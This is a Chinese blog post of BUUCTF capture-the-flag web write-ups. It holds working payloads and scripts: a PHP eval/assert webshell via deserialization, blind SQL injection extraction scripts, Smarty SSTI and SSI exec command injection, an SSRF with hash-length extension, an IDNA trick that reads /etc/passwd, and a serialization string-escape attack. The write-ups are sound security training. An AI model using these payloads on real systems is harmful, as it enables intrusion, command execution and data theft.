这个代码读起来很简单,一个构造函数,一个析构函数,重点是:echo $b($a);
想象一下,假如$b=eval,$a=system(‘ls’); 这是不是就能执行一条指令呢?
但是这样是会出错的:Fatal error: Uncaught Error: Call to undefined function eval() in E:\software\PhpStudy\PHPTutorial\WWW\1.php:3 Stack trace: #0 {main} thrown in E:\software\PhpStudy\PHPTutorial\WWW\1.php on line 3
原因:eval是因为是一个语言构造器而不是一个函数,不能被可变函数调用。不能用$a=eval这种方式去调用,你只能直接写eval上去
eval不能用我们可以用assert(PHP<=7.1)

所以我们可以构造以下文件:

1
2
3
4
5
6
7
8
9
10
<?php 
class HelloPhp
{
public $a='eval($_POST[\'kino\']);';
public $b="assert";

}
$a=new HelloPhp;
echo serialize($a);
?>

很简单的一句话也就是最后我们会执行echo assert(eval($_POST[‘kino’]);),末尾的分号可有可无
这也就是上传了一句话木马,我们payload:?data=O:8:”HelloPhp”:2:{s:1:”a”;s:20:”eval($_POST[‘kino’])”;s:1:”b”;s:6:”assert”;}
用蚁剑连接试试:image.png
可以连接,但是点进去后什么也没发现,是空文件夹
image.png
应该是没给权限,所以看不了,既然这样不行,我们就换种方法
我们已经可以上传一句话木马了,也就是说明我们可以远程RCE:
Payload:
image.png
发现无法执行ls指令,用其他的指令也不让用,最后使用phpinfo();,发现有了回显:image.png
那flag只能在这里了,我们搜索一下FLAG:
image.png
得到答案

[极客大挑战 2019]FinalSQL

image.png
我算了一下,这人出了5个SQL题目,这应该是最后一个了吧
这次过滤的东西感觉太多了哭唧唧
这一题有2个注入点,一个是用户名密码那里,另一个就是在上面的点击神秘代码,也可以有注入点:
注入点1:
image.png
注入点2:
image.png
注入点1无法使用sleep函数,不能有引号,不能if,也没有括号
注入点2可以使用sleep函数,不能if
所以注入点1大概率是没办法的~
所以我们在注入点2去注入
方法就是时间盲注,布尔盲注会有429,if被ban了可以用elt()或者interval():

之后我就上脚本了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# @Author:boogipop

import requests
import time

url = "http://bf52117c-2f6a-4b88-88d0-987561e4d67a.node4.buuoj.cn:81/search.php"

result = ''
i = 0

while True:
i = i + 1
head = 32
tail = 127

while head < tail:
mid = (head + tail) >> 1
data = {
"id":f"elt(ascii(substr((select(group_concat(password))from`F1naI1y`),{i},1))>{mid},sleep(0.1))"}
t1=time.time()
r = requests.get(url,params=data)
t2=time.time()
print(t2-t1)
if t2-t1>0.5:
head = mid + 1
else:
tail = mid

if head != 32:
result += chr(head)
else:
break
print(result)
#elt(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where`table_schema`=database()),{i},1))>{mid},sleep(0.1))
#F1naI1y,Flaaaaag
# "id":f"elt(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where`table_name`='F1naI1y'),{i},1))>{mid},sleep(0.1))"}
#id,username,password
#"id":f"elt(ascii(substr((select(group_concat(id,username,password))from`F1naI1y`),{i},1))>{mid},sleep(0.1))"}
#1mygodcl4y_is_really_amazing,2welcomewelcome_to_my_blog,3sitehttp://www.cl4y.top,4sitehttp://www.cl4y.top,5sitehttp://www.cl4y.top,6sitehttp://www.cl4

这是我的时间盲注脚本,还有一个是用布尔盲注,我就把大佬的拿过来拉:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
# -*- coding: utf-8 -*-
# @Author: jiaoben
# @Date : 2020/05/03

import re
import requests
import string

url = "http://dcf33d60-7ffa-41c0-8915-e935ccbdd37b.node3.buuoj.cn//search.php"
flag = ''


def payload(i, j):
# 数据库名字
sql = "1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1"%(i,j)
# 表名
# sql = "1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>%d)^1"%(i,j)
# 列名
# sql = "1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1"%(i,j)
# 查询flag
# sql = "1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" % (i, j)
data = {"id": sql}
r = requests.get(url, params=data)
# print (r.url)
if "Click" in r.text:
res = 1
else:
res = 0
return res


def exp():
global flag
for i in range(1, 10000):
print(i, ':')
low = 31
high = 127
while low <= high:
mid = (low + high) // 2
res = payload(i, mid)
if res:
low = mid + 1
else:
high = mid - 1
f = int((low + high + 1)) // 2
if (f == 127 or f == 31):
break
# print (f)
flag += chr(f)
print(flag)


exp()
print('flag=', flag)

这边用的是按位异或来判断布尔

[CISCN2019 华东南赛区]Web11

SSTI注入
这一题很露骨了就:
image.png
image.png
最重要的是下面有个build with smarty 说明就是smarty模板了,那就得考虑ssti注入了,注入点那肯定就是XFF头咯:
{$smarty.version}:来查看smarty的版本:
image.png
确认是3.1版本,用以下if语句去执行php代码:
{if system('tac /flag')}{/if}
image.png
简单的SSTI

[De1CTF 2019]SSRF Me

考点很清晰就是标题写的SSRF了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)


class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox)

def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result

def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False


#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)


@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/')
def index():
return open("code.txt","r").read()


def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"



def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()


def md5(content):
return hashlib.md5(content).hexdigest()


def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False


if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0')

浅浅的代码审计一下咯~一百来行代码也没啥,因为里面大部分的东西没啥
通过这一题感觉还是稍微的磨砺了我的一点代码审计能力的,居然也看懂了?
首先是定义了一个Task大类,里面大致分为初始化,写入内容,读取内容,检验四个模块,init就是初始化模块,然后Exec自定义函数中分为写和读两个模块,当action为scan时,会把我们param指定的文件写入一个沙盒内,然后当action为read时,把写入的内容读出来,在这2个过程中要进行checksign函数的检查
checksign函数:
image.png
将getsign函数的结果和sign参数的值比较,getsign:
image.png
设置了一个secret_key,这个我们是不知道的,然后param,action我们是可控的
还有个产生sign的函数:
image.png
我们可以通过这个参数得到sign值,但是action被写死了
所以我们大致的思路很清晰了,就是通过把flag文件写入沙盒,再读取出来

flag文件再./flag.txt这个题目提示有,我们现在就来构造一下,首先进入genesign路由产生sign:
image.png
urlopen函数可以去网上了解一下,可以读取文件,直接输入文件名即可:
这样就获得了sign值,然后在challenge路由中进入题目入口,传参:
image.png
image.png
image.png
只返回code200说明成功将flag文件写入沙盒
最后就是想怎么去读取了,由于action被写死是scan了,但是注意
image.png
image.png
这里只说read在action中即可,没说要完全等于read,而且sign是通过字符串拼接产生的,我们可以如下绕过:
image.png
传入flag.txtread,可以获得flag.txtreadscan的sign值,然后在challenge界面输入:
image.png
image.png
action中有read,所以就不慌了,这样就可以读出flag拉

还有一种比较冷门的解法就是利用hashpump进行hash拓展攻击:
kali先安装:

1
2
3
4
5
git clone https://github.com/bwall/HashPump
apt-get install g++ libssl-dev
cd HashPump
make
make install

之后直接运行脚本得到md5('secret_key+flag.txt'+scan+read)的值,进行拓展长度估计需要的几个前提条件
image.png
我们知道len(secret_key+flag.txt)=24,也知道md5(secret_key+flag.txt+scan)的值,所以可以进行拓展估计:
image.png
image.png
我们把(secret_key+flag.txt)看成salt,scan看成message,action看成padding即可
最后:
image.png
也可以得出答案(这里换百分号还是写个脚本吧诶)

[SUCTF 2019]Pythonginx

考点:unicode欺骗,代码审计,nginx
进入即可获得源码;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))#unicode变ascii
parts[1] = '.'.join(newhost)
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
else:
return "我扌 your problem? 333"

一眼flask框架,这是一些路由和函数
首先呢关于urlsplit函数我记得之前分享过一篇文章:
image.png
urlsplit:
image.png
urlunsplit:
image.png
也就再次缝合起来

大致的意思理解了,先用unicode欺骗去绕过前两个判断,然后读取文件,先用以下脚本跑出unicode字符:

1
2
3
4
5
6
7
8
9
for i in range(128,65537):
tmp=chr(i)
try:
res = tmp.encode('idna').decode('utf-8')
if("-") in res:
continue
print("U:{} A:{} ascii:{} ".format(tmp,res,i))
except:
pass

image.png
在结果中找转换后为c的,最后payload如下:
?url=file://suctf.cⅽ/../../../../etc/passwd
image.png
成功读取文件,题目提示nginx,那就看看配置文件:
?url=file://suctf.cⅽ/../../../../usr/local/nginx/conf/nginx.conf
image.png
flag在/usr/fffffflag
image.png
读取即可

还有第二种做法,那就是用//去绕过判断:
parse是解析URL的。PHP上parse能通过/来干扰解码结果,python中也可以
当url为file:////suctf.cc/../../../../../etc/passwd
前两个解析结果为NULL,最后解析为suctf。同样绕过了判断
image.png
参考:

[BJDCTF2020]EasySearch

只能说是buu靶场的问题了,这种要扫目录的题我建议就是直接别设置线程啊,那我设到1线程我扫半年啊

dirsearch扫目录发现是泄露了index.php.swp源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
ob_start();
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";

}else
{
***
}
***
?>

这个代码审计应该不难吧?应该不难吧?应该不难吧?应该不难吧?应该不难吧?应该不难吧?
admin写死了,所以要跑个脚本,把md5后前六位是6d0bc1找出来!:

1
2
3
4
5
6
7
8
9
10
import hashlib
for i in range(10000000):
j=str(i)
a=hashlib.md5(j.encode("utf-8")).hexdigest()
# print(a)
# print(a[0:6])
if a[0:6]=='6d0bc1':
print(i)
print(a)
print('find it!')

image.png
这三个随便选好吧,这边admin是个变量不是我们post传的参数,我们用户名随便写一个登入进去:
image.png
在标头里找到了shtml文件的位置,访问:
image.png
这边kino就是我们可以控制的值,也就是username啦~
这里讲一下什么是shtml文件,什么是ssi注入

SHTML文件(以.shtml文件扩展名的文件)和HTML文件差不多,都是网页文件,只是SHTML文件中有服务器端包含(server-side includes,SSI)指令。它在发送到用户浏览器之前由web服务器进行处理(或解析)——把SHTML文件中包含的SSI指令解释出来,服务器传送给客户端的文件,是已经解释的SHTML,不会有SSI指令——它实现了HTML所没有的功能。

Web 服务器在处理网页的同时处理 SSI 指令。当 Web 服务器(目前最主流的三个Web服务器是Apache、 Nginx 、IIS)遇到 SSI 指令时,直接将包含文件的内容插入 HTML 网页。如果“包含文件”中包含 SSI 指令,则同时插入此文件。除了用于包含文件的基本指令之外,还可以使用 SSI 指令插入文件的相关信息(如文件的大小)或者运行应用程序或 shell 命令。

网站维护常常碰到的一个问题是,网站的结构已经固定,却为了更新一点内容而不得不重做一大批网页。SSI提供了一种简单、有效的方法来解决这一问题,它将一个网站的基本结构放在几个简单的HTML文件中(模板),以后我们要做的只是将文本传到服务器,让程序按照模板自动生成网页,从而使管理大型网站变得容易。

长话短说shtml也就是解析ssi指令的一个类似HTML网页文件:
SSI常用指令:
image.pngimage.png
image.png
image.pngimage.png
简单例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<html>
<head>
<meta charset="utf-8">
<title>SSI example</title>
</head>
<body>
<h2>新闻</h2>
<p><!--#include file="news.txt"--></p>
<p>最后一次更新更新日期:<!--#flastmod file="news.txt" --></p>
<!--#config timefmt="%Y-%m-%d %H:%M"-->
<p>最后一次更新更新日期(使用了格式):<!--#config timefmt="%Y-%m-%d %H:%M"-->
<!--#flastmod file="news.txt" --></p>
<p></p>
</body>
</html>

这边我们要利用的指令也就是exec,来进行远程rce
用户名输入<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2" -->,密码输入2020666,然后同样的来到刚刚的页面:
image.png

[0CTF 2016]piapiapia(反序列化字符逃逸)

考点:代码审计,反序列化参数逃逸
image.png

访问www.zip发现有信息泄露,下载下来是一个文件夹,里面有6个php文件:

1
2
3
4
5
6
7
<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = '';
$config['database'] = '';
$flag = '';
?>

简单的一看就是一个配置文件,flag似乎被摸出了,所以config.php文件中有flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
<?php
require('config.php');

class user extends mysql{
private $table = 'users';

public function is_exists($username) {
$username = parent::filter($username);

$where = "username = '$username'";
return parent::select($this->table, $where);
}
public function register($username, $password) {
$username = parent::filter($username);
$password = parent::filter($password);

$key_list = Array('username', 'password');
$value_list = Array($username, md5($password));
return parent::insert($this->table, $key_list, $value_list);
}
public function login($username, $password) {
$username = parent::filter($username);
$password = parent::filter($password);

$where = "username = '$username'";
$object = parent::select($this->table, $where);
if ($object && $object->password === md5($password)) {
return true;
} else {
return false;
}
}
public function show_profile($username) {
$username = parent::filter($username);

$where = "username = '$username'";
$object = parent::select($this->table, $where);
return $object->profile;
}
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);

$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
public function __tostring() {
return __class__;
}
}

class mysql {
private $link = null;

public function connect($config) {
$this->link = mysql_connect(
$config['hostname'],
$config['username'],
$config['password']
);
mysql_select_db($config['database']);
mysql_query("SET sql_mode='strict_all_tables'");

return $this->link;
}

public function select($table, $where, $ret = '*') {
$sql = "SELECT $ret FROM $table WHERE $where";
$result = mysql_query($sql, $this->link);
return mysql_fetch_object($result);
}

public function insert($table, $key_list, $value_list) {
$key = implode(',', $key_list);
$value = '\'' . implode('\',\'', $value_list) . '\'';
$sql = "INSERT INTO $table ($key) VALUES ($value)";
return mysql_query($sql);
}

public function update($table, $key, $value, $where) {
$sql = "UPDATE $table SET $key = '$value' WHERE $where";
return mysql_query($sql);
}

public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);

$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
public function __tostring() {
return __class__;
}
}
session_start();
$user = new user();
$user->connect($config);

粗略的一看这应该就是一个类的汇总文件,里面连接了mysql数据库

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
require_once('class.php');
if($_POST['username'] && $_POST['password']) {
$username = $_POST['username'];
$password = $_POST['password'];

if(strlen($username) < 3 or strlen($username) > 16)
die('Invalid user name');

if(strlen($password) < 3 or strlen($password) > 16)
die('Invalid password');
if(!$user->is_exists($username)) {
$user->register($username, $password);
echo 'Register OK!<a href="index.php">Please Login</a>';
}
else {
die('User name Already Exists');
}
}
else {
?>
<!DOCTYPE html>
<html>
<head>
<title>Login</title>
<link href="static/bootstrap.min.css" rel="stylesheet">
<script src="static/jquery.min.js"></script>
<script src="static/bootstrap.min.js"></script>
</head>
<body>
<div class="container" style="margin-top:100px">
<form action="register.php" method="post" class="well" style="width:220px;margin:0px auto;">
<img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
<h3>Register</h3>
<label>Username:</label>
<input type="text" name="username" style="height:30px"class="span3"/>
<label>Password:</label>
<input type="password" name="password" style="height:30px" class="span3">

<button type="submit" class="btn btn-primary">REGISTER</button>
</form>
</div>
</body>
</html>
<?php
}
?>

是一个注册界面,先包含class.php文件,再输入用户名密码,写入数据库,结合class.php里的register方法可以看出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
$username = $_SESSION['username'];
$profile=$user->show_profile($username);
if($profile == null) {
header('Location: update.php');
}
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
?>
<!DOCTYPE html>
<html>
<head>
<title>Profile</title>
<link href="static/bootstrap.min.css" rel="stylesheet">
<script src="static/jquery.min.js"></script>
<script src="static/bootstrap.min.js"></script>
</head>
<body>
<div class="container" style="margin-top:100px">
<img src="data:image/gif;base64,<?php echo $photo; ?>" class="img-memeda " style="width:180px;margin:0px auto;">
<h3>Hi <?php echo $nickname;?></h3>
<label>Phone: <?php echo $phone;?></label>
<label>Email: <?php echo $email;?></label>
</div>
</body>
</html>
<?php
}
?>

这应该就是填写完信息之后进入的用户界面了,对应class.php中的show_profile方法!这里的photo变量是本题的重点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
require_once('class.php');
if($_SESSION['username']) {
header('Location: profile.php');
exit;
}
if($_POST['username'] && $_POST['password']) {
$username = $_POST['username'];
$password = $_POST['password'];

if(strlen($username) < 3 or strlen($username) > 16)
die('Invalid user name');

if(strlen($password) < 3 or strlen($password) > 16)
die('Invalid password');

if($user->login($username, $password)) {
$_SESSION['username'] = $username;
header('Location: profile.php');
exit;
}
else {
die('Invalid user name or password');
}
}
else {
?>
<!DOCTYPE html>
<html>
<head>
<title>Login</title>
<link href="static/bootstrap.min.css" rel="stylesheet">
<script src="static/jquery.min.js"></script>
<script src="static/bootstrap.min.js"></script>
</head>
<body>
<div class="container" style="margin-top:100px">
<form action="index.php" method="post" class="well" style="width:220px;margin:0px auto;">
<img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
<h3>Login</h3>
<label>Username:</label>
<input type="text" name="username" style="height:30px"class="span3"/>
<label>Password:</label>
<input type="password" name="password" style="height:30px" class="span3">

<button type="submit" class="btn btn-primary">LOGIN</button>
</form>
</div>
</body>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

$username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');

if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');

$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');

move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);

$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
}
else {
?>
<!DOCTYPE html>
<html>
<head>
<title>UPDATE</title>
<link href="static/bootstrap.min.css" rel="stylesheet">
<script src="static/jquery.min.js"></script>
<script src="static/bootstrap.min.js"></script>
</head>
<body>
<div class="container" style="margin-top:100px">
<form action="update.php" method="post" enctype="multipart/form-data" class="well" style="width:220px;margin:0px auto;">
<img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
<h3>Please Update Your Profile</h3>
<label>Phone:</label>
<input type="text" name="phone" style="height:30px"class="span3"/>
<label>Email:</label>
<input type="text" name="email" style="height:30px"class="span3"/>
<label>Nickname:</label>
<input type="text" name="nickname" style="height:30px" class="span3">
<label for="file">Photo:</label>
<input type="file" name="photo" style="height:30px"class="span3"/>
<button type="submit" class="btn btn-primary">UPDATE</button>
</form>
</div>
</body>
</html>
<?php
}
?>

这个文件应该就是注册完之后进入的界面,写自己的信息,这个文件很重要,这里就是本题的重点!
这么多文件都审计完了一遍后,咱就来分析一下这一题怎么写,一眼望去我以为是在update.php中的上传文件的位置去getshell,但是注意有md5加密文件名,那后缀名也没了,所以不可能getshell

把重点放在这两个地方:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//重点一 update.php
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);

$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
}

//重点二,profile.php
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));

上面那么多傻缺代码,到这里就简单的不能再简单了,看看,一个序列化,一个反序列化,像不像一对?那肯定就是在这里了,思路是利用反序列化的字符逃逸,让photo='config.php',从而file_get_contents将其输出,这样就能获得flag
字符逃逸怎么用不用我说了吧,比如序列化{s:4:'test';s:3:'bad';}s:4:'good';},由于花括号被闭合,后面的参数被略去了,最终test=bad,我们利用这一天也可以使得photo=config.php

目的payload:字符串";}s:5:"photo";s:10:"config.php";}
为什么有两个花括号呢?:

1
2
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');

根据update.php中,对nickname的判断可以看到,假如我们想要逃逸,就必须要绕过这2个preg_match,我们要用数组绕过,使他们为null,从而逃过die!
因为是数组,所以形式大概为:(网图,偷懒)
image.png
image.png
也就是闭合2个括号了,一个是闭合array,一个闭合是整个序列化字段

根据class.php中的filter方法:

1
2
3
4
5
6
7
8
9
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);

$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}

可以发现,在update的过程中,数据是经过了这个函数的过滤的,这里会将单引号转义,所以就别想着sql注入了牡蛎牡蛎
所以重点看到下面的替换,会把'select', 'insert', 'update', 'delete', 'where'替换为hacker
我们就利用这个来构造payload
这五个字符串中就where长度为5,比hacker短一个单位,那就只能是他,因为我们的payload字符串";}s:5:"photo";s:10:"config.php";}字符串的长度肯定是比这整个payload的长度要短的,所以通过添加多个where来平衡!
where长度为5,where";}s:5:"photo";s:10:"config.php";}长度为39,之间差了34长度,而替换为hacker后多1长度,所以要用34个where
最终payload:
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
这样的话就让photo为config了,从而可以读出来,我们更新一下数据:
image.png
这里抓包改为数组类型
然后访问个人资料:
image.png
可以看到名字都变成了Array,这是因为nickname是个数组,访问源码:
image.png
有一串base64的编码,因为file_get_contents被base64加密了,所以我们解码:
image.png
得到最终flag,说了一大堆,也是为了将详细一点,哈哈哈

[BSidesCF 2019]Kookie

BUUCTF第二页的最后一题!结束!
这一题很简单咯
image.png
登录界面,都提示我们cookie和admin了:
image.png
ezez

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#CTF#BUUCTF#刷题记录